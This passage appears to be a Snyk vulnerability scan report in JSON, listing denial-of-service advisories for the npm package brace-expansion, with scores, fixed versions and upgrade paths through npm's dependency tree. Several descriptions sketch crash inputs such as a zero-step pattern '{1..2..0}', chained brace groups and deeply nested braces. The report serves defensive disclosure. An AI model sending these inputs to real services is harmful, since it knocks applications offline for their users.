"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- 